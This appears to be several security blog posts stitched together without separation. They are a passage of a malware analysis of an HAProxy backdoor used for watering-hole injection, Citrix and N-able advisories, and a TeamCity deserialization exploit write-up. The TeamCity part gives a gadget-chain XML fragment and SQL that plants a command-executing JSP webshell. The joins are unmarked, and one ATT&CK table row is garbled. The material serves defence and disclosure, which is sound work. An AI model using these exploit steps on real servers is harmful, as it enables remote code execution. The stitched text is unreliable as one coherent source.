Fourth, the implant parses Accept-Language splitting on ; and =, pulling four operator-controlled fields: mrt for the 64-byte uid credential, msc for an 8-byte status, mst for an 8-byte score, and a fourth keyword read from off_355407 for a 1024-byte infoblob. Parsing is order-independent and any subset can appear. If mrt yields a key, it must exist in allow_id_set, and that credential overrides IP filtering entirely, letting the operator reach the requested page from anywhere. It also upgrades the log record to the *-prefixed format carrying uid, status,score, and info. With no key, the fallback is IP-based:action == 1requires whitelist membership, action == 2 requires blacklist absence, both checked twice, once with the final octet zeroed for /24 subnet matching and once for the exact host.
Once all checks are cleared the chosen file is opened, stored in the per-connection ted_rep_state as fpAppend and nTotal, alongside a script_conf back-reference to the matched rule. The replace byte at offset 0x00 of that rule sets flag to 4 when zero and 2 when non-zero, distinguishing appending content from substituting it. Finally the code sets its filter flag and increments nb_rsp_data_filters or nb_req_data_filters on the stream, which is HAProxy's documented opt-in for body access– this time reusing the internal structure of the load balancer to inject code into the page at delivery time.
Figure 16: Hooking the HTTP response
⠀
Once a victim is marked for injection, two callbacks finish the job on the way out. ted_http_headers_for_htx runs first, and only when the data is on the response side, a state block is initialized during the request, and the transaction flag is set. It rechecks the response against the rule that matched earlier, testing Content-Type and the status line, so a payload is delivered only when the reply is a document worth modifying. It then reshapes the response to fit the incoming file: sets Content-Type, adds a Content-Disposition filename if the rule has one, writes the new body length into the custom length header, deletes Accept-Ranges so the client cannot request byte ranges and spot the size mismatch, and forces the status to 200OK if it was anything else.
ted_http_payload performs the swap. For each body chunk, it takes only as much as the payload file has left, reads that slice from disk, decrypts it with ngx_decrypt_script, and substitutes it through HAProxy's own body-editing calls. When the replacement changes the body length, the code shifts every remaining filter's offset by the difference, so nothing downstream sees an inconsistency. With the rewritten length header and range support stripped, the size change leaves no trace.
trace_http_end handles the leftover bytes. The previous callback can only overwrite bytes that already exist in the response, so when the payload is larger than the original body there is a remainder with nowhere to go. This function runs at the end of the response and appends it. It checks that the state block is in an injection mode, that the headers were already rewritten, and that fewer bytes have been delivered than the payload holds. If so, it measures the free space left in the response buffer, reads exactly that much from the payload file, decrypts it with ngx_decrypt_script, and appends it as a new data block, bumping the channel's output count to match.
The result is that a payload of any size can be delivered across as many passes as it takes, using HAProxy's own scheduler to drive the process.
To ensure persistence, curlRAT is integrated and hidden as libc routines.
Figure 17: ted backdoor including curlRAT configuration a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7
⠀
Attacker infrastructure
The observed infrastructure follows a consistent pattern: Domains are registered under low-cost commodity TLDs —.store, .space, .site, .autos — and use subdomain schemes mimicking image-serving CDN endpoints (img.) They then blend payload delivery traffic into normal web browsing. The naming convention across suggests a shared registration workflow rather than ad-hoc infrastructure. Theimg.responsive.pstatic.autos mimics Naver'spstatic.net static content domain, a South Korean web platform, which combined with the watering-hole delivery model adopted by the ted backdoor is consistent with targeting of Korean-speaking users.
Attribution
At the time of the analysis, compromised servers had exposed the Groupware login portal on port 443, which is heavily present in Korean enterprise environments. The targeting of regional software (Groupware), mimicking Naver's static content domain, usage of simple xor and substitution ciphers and the watering-hole model already documented in the Operation Code on Toast (APT37)and Operation Synchole (Lazarus),allows medium confidence attribution to DPRK APT. The list of C2s hardcoded is associated with APT37 by ThreatFox and maltrail.
The campaign's timeline and delivery mechanism overlap with Operation SyncHole, a concurrent Lazarus campaign documented by Kaspersky running from November 2024 through February 2025, in which Lazarus compromised South Korean media sites to redirect visitors to pages serving malicious JavaScript payloads. APT37 and Lazarus Group are distinct North Korean state-sponsored threat clusters assessed by Mandiant to operate under different DPRK agencies — APT37 under the Ministry of State Security, Lazarus under the Reconnaissance General Bureau — though both conduct cyber espionage targeting South Korean entities. Lazarus has been observed to deploy backdoored open-source programs to deliver malware and use feedback XOR + base64 to interact with the C2 by Kaspersky. As of July 2026, similar suspected initial access has been reported by ENKI WhiteHat, suggesting that if a vulnerability in South Korean mail appliances exists, the exploitation could still be ongoing and leveraged by DPRK APTs.
Further evidence is necessary to make a more definitive assessment. Moreover, the presence ofngx_* prefixed routines within the ted backdoorsuggest code reused from an nginx backdoor. The ngx_* prefixed routines were observed during the latest Funnull campaign, where (similar to our case) a custom nginx filter was registered to hook HTTP traffic, and simple XOR encryption was applied to the configuration file. However, other than a similar naming convention, no significant code-level overlaps exist to support a stronger linkage.
Conclusion
ted backdoor and curlRAT were designed to persist during long-term espionage operations with the ability to steal cookie sessions, credentials, redirect selected users, conduct drive-by download attacks, and hide evidence of the tampered page to a specific range of IPs to evade detection. Defenders should treat any edge component managing user traffic, SSL, or runtime modules with the same strict security standards as their main application servers. Relying on the component's own logs is not enough; securing these systems requires independent network correlation, memory behavioral analysis, and binary integrity checks.
MITRE ATT&CK techniques
Tactic
Technique
Detail
Component
Initial access
[T1190] Exploit public-facing application
HAProxy filter API abused as injection point; watering-hole payload delivery via compromised load balancer
ted backdoor
Execution
[T1059.004] Unix shell
popen() used for one-shot command execution per opcode '3'; PTY shell spawned per opcode '5'; reverse shell per opcode '3' in CurlRAT
ted backdoor, CurlRAT
Execution
[T1106] Native API
pthread_create / pthread_detach for detached shell threads; HAProxy pool_alloc / task_wakeup for async response scheduling
ted backdoor
Persistence
[T1574.006] Hijack execution flow: dynamic linker
Implant loaded as HAProxy shared library filter at process start; persistent across HAProxy restarts
ted backdoor
Persistence
[T1543] Create or modify system process
Legitimate crond binary overwritten in-place; service restarted; timestomping to match /usr/bin/ssh creation time
Stager, CurlRAT
Privilege escalation
[T1548] Abuse elevation control mechanism
setuid(0) / setreuid(0,0) called before reverse shell daemonisation; stager verifies root before payload drop
Stager, CurlRAT
Defence evasion
[T1036.005] Masquerade: match legitimate name
crond, polkitd, agetty, atd binary names used; CentOS variant masquerades functions as atd_ routines in static analysis
Stager, CurlRAT
Defence evasion
[T1070.002] Clear Linux logs
Selective keyword erasure (tmp, wget, cron, crond) from bash_history, messages, audit.log, secure, syslog, auth.log via /tmp/jasper-log staging file
Stager
Defence evasion
[T1070.006] Timestomp
Backdoored crond given same creation timestamp as /usr/bin/ssh post-install
Response body replaced or appended with decrypted payload script via HAProxy data filter callbacks; Content-Type, Content-Length, Content-Disposition rewritten; 200 OK forced; Accept-Ranges stripped
ted backdoor
Collection
[T1119] Automated collection
Passive capture logs timestamped records per matched request; expanded * records written when Accept-Language mrt key present
ted backdoor
C2
[T1071.001] Application layer protocol: web protocols
ted C2 tunnelled as HTTP through load balancer; CurlRAT polls C2 over HTTPS with libcurl fallback to HTTP; all payloads as application/x-www-form-urlencoded POST
CurlRAT, ted backdoor
C2
[T1132.001] Data encoding: standard encoding
All CurlRAT C2 payloads Base64-encoded after feedback XOR; ted pipe protocol uses raw bytes with rolling XOR session key
CurlRAT, ted backdoor
C2
[T1102] Web service
CurlRAT falls back to secondary C2 img.monderhouse.space on config validation failure; img.darklights.store used as backup config host
CurlRAT
C2
[T1572] Protocol tunnelling
Interactive shell tunnelled through HAProxy HTTP pipeline via named FIFOs; response exfiltrated via raw send() on TCP socket bypassing HAProxy logging
ted backdoor
C2
[T1568] Dynamic resolution
CurlRAT victim ID derived from hostname + IP + hardware UUID + cron version string, MD5'd and uppercased; used as User-token header in all C2 requests
CurlRAT
Exfiltration
[T1041] Exfiltration over C2 channel
SSH credentials exfiltrated via CurlRAT C2; session capture logs written by ted; CurlRAT mode 0 streams command output back over same channel
Stager, CurlRAT, ted backdoor, SSH keylogger
Exfiltration
[T1560] Archive collected data
SSH keylogger output encrypted with substitution cipher before writing; CurlRAT applies feedback XOR + Base64 to all outbound data
On August 19, 2026, a security advisory was published for CVE-2026-19490, a critical authentication bypass vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway. The vulnerability carries a CVSS v4.0 base score of 9.3 and can be exploited remotely by an unauthenticated attacker over the network without user interaction or elevated privileges.
NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality. Because these systems are frequently deployed in enterprise DMZs and exposed to the public internet, authentication bypass vulnerabilities affecting Citrix products are nearly always exploited by threat actors.
NetScaler ADC and NetScaler Gateway 14.1: Versions prior to 14.1-73.32
NetScaler ADC and NetScaler Gateway 13.1: Versions prior to 13.1-63.21
NetScaler ADC FIPS: Versions prior to 14.1-73.32 FIPS
NetScaler ADC FIPS and NDcPP: Versions prior to 13.1-37.277
As of August 19, 2026, Rapid7 has not observed evidence that CVE-2026-19490 is being exploited in the wild. However, organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild.
On September 9, 2026, CVE-2026-19490 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. With active exploitation now occurring, organizations running affected versions of Citrix NetScaler ADC and NetScaler Gateway should remediate these issues on an urgent basis, outside of normal patching cycles.
Mitigation guidance
Organizations running affected NetScaler ADC or NetScaler Gateway appliances should review the official NetScaler advisory and apply the required updates to affected systems on an emergency basis.
Fixed versions for affected products are listed below:
NetScaler ADC and NetScaler Gateway14.1-73.32 and later releases
NetScaler ADC and NetScaler Gateway13.1-63.21 and later releases of 13.1
NetScaler ADC 14.1-FIPS14.1-73.32 FIPS and later releases of 14.1-FIPS
NetScaler ADC 13.1-FIPS and 13.1-NDcPP13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP
According to Citrix, customers can determine whether affected systems are vulnerable to CVE-2026-19490 by inspecting their NetScaler configuration for the following configuration entries. If one or more of the following items are present, and if the systems are running affected versions, the system is likely to be exploitable:
SAML action configuration is in place:
"add authentication samlAction.*"
Auth or VPN vserver is configured:
"add authentication vserver .*"
"add vpn vserver .*"
For the latest guidance, please refer to the official Citrix advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Customers can assess exposure to CVE-2026-19490 on Citrix NetScaler ADC and Gateway using a vulnerability check available in the August 20 content release.
Updates
August 19, 2026: Initial publication.
August 20, 2026: Updated Rapid7 customers section to reflect availability of vulnerability check.
September 11, 2026: Updated Overview to add new CISA KEV reference.
On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.
JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.
Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.
Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.
Analysis
Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.
TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.
XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.
Patch diff
The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:
The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:
// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;
public class XStream {
// ...
protected void setupSecurity() {
if (this.securityMapper == null)
return;
addPermission(NoTypePermission.NONE); // <--- Clears all existing permissions
addPermission(NullPermission.NULL);
addPermission(PrimitiveTypePermission.PRIMITIVES);
addPermission(ArrayTypePermission.ARRAYS);
addPermission(InterfaceTypePermission.INTERFACES);
allowTypeHierarchy(Calendar.class);
allowTypeHierarchy(Collection.class);
allowTypeHierarchy(Map.class); // <--- Map is allowed
allowTypeHierarchy(Map.Entry.class);
allowTypeHierarchy(Member.class);
allowTypeHierarchy(Number.class);
allowTypeHierarchy(Throwable.class); // <--- Throwable is allowed
allowTypeHierarchy(TimeZone.class);
// ...
Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.
The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:
XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.
Root cause
The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.
The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.
Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.
Triggering the vulnerability
First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.
The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.
// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
HttpServletRequest request,
HttpServletResponse response,
String[] path) throws Exception {
String sessionId = request.getHeader("TeamCity-AgentSessionId");
BuildAgentEx agent =
sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
// This check occurs before the vulnerable handler is reached.
if (agent == null) {
response.setStatus(401);
response.getWriter().write("Agent's session is not found");
return null;
}
PollingRemoteAgentConnection connection =
(PollingRemoteAgentConnection) agent.getConnection();
if (path.length == 4) {
String operation = path[3];
if (operation.equals("error")) {
getCommandsProcessor().handleCommandIsFailedRequest(
connection, request, response
); // <--- call the error handler
}
}
return null;
}
The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.
Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.
The gadget chain
The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:
The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.
A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().
Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.
The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.
The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.
The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.
Object graph construction
The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.
Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().
The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.
Entry one: construct and configure the datasource
The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.
The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:
XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.
Entry two: expose the datasource through FreeMarker
The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.
The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:
<freemarker.ext.beans.HashAdapter>
<wrapper>
<!-- Class-introspection state from the PoC is omitted here. -->
<falseModel>
<object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
<wrapper reference="../.."/>
<value>false</value>
</falseModel>
<!-- Remaining BeansWrapper state from the PoC is omitted here. -->
</wrapper>
<model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>
The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.
Entry three: trigger the property lookup
The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:
The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.
Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.
Triggering gadget execution
A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.
The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().
A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.
The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:
CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'
HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.
Executing a JSP payload
Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:
The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:
We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.
Exploitation
A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.
Figure 2: Proof-of-concept exploitation.
The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.
[2026-08-07 01:53:09,794] ERROR - jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth
com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
...
IOC
On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:
[2026-08-07 00:36:36,467] ERROR - jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth
com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
...
A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:
07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------] with root cause
org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
at org.hsqldb.error.Error.error(Unknown Source)
...
Remediation
For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.
On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.
N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.
According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform's Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog and on August 5, 2026, CVE-2026-18556 was also added to the catalog.
On August 6, 2026, N-able released a second hotfix to further address CVE-2026-18577. This second hotfix supersedes the original hotfix published on August 2, 2026, and provides additional mitigations against the same vulnerability. Customers who have not yet applied the new 2026.3 Hotfix 2 should do so on an urgent basis.
Mitigation guidance
Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.
Affected versions:
All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 2.
Fixed version:
N-able N-central 2026.3.1 Hotfix 2 (2026.3.1.10).
The vendor also recommends:
Upgrading N-central agents after applying the server hotfix.
Reviewing systems for indicators of compromise.
Contacting N-able Support immediately if evidence of compromise is discovered.
Engaging internal incident response teams if malicious activity is identified.
N-able has published several artifacts that administrators should investigate during incident response.
Endpoint Artifacts:
Presence of a cloudflared service.
A suspicious svchost.exe located within the user's Documents folder.
Network Indicators:
Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:
173[.]249[.]252[.]200
87[.]249[.]138[.]34
37[.]19[.]210[.]32
37[.]153[.]90[.]88
92[.]118[.]112[.]181
68[.]235[.]46[.]214
